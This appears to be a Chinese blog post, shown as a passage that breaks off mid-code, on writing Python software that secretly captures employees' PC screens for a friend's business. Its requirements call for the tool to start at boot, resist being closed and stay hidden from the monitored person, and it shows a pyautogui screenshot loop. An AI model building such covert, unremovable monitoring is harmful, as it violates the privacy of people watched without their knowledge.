python开发一个PC屏幕监控软件(2000块的道德底线)
有个朋友做电商的,发现他的员工上班喜欢摸鱼(说的不就是我吗),让给我给他做一个可以监控他员工上班干嘛的软件(讨厌的资本家),当时我就直接拒绝他了,并告诉他一堆道理,说员工也是人,没必要这样搞。。。。。。 后来我朋友说有偿的!
一、需求:
1、实时监控PC屏幕。
2、可以通过服务端查看,包括查看历史电脑事件和查看当前电脑屏幕内容。
3、该应用为企业应用,所以后台需要可精确查询到每台电脑的过滤功能,由于涉及到隐私,需要支持本地部署。
4、开机就启动,并对PC电脑进行实时监控,软件不能关闭,不能导致电脑卡顿,不能让被监控人知道。
二、实现思路:
1、新建python文件 moniter.py 配置文件sys.ini。
2、采用pyautogui库获取系统资源(当前屏幕截图),并保存本地,高清截屏图片太大,所以做了压缩。
关键API为:pyautogui.screenshot()
代码:
def screenshot(path): img=pyautogui.screenshot() img.save(path, quality=40)
3、写个while循环+sleep 定时截图屏幕。
while True: try: screenshot(pathabs) ##截屏 except: traceback.print_exc(file=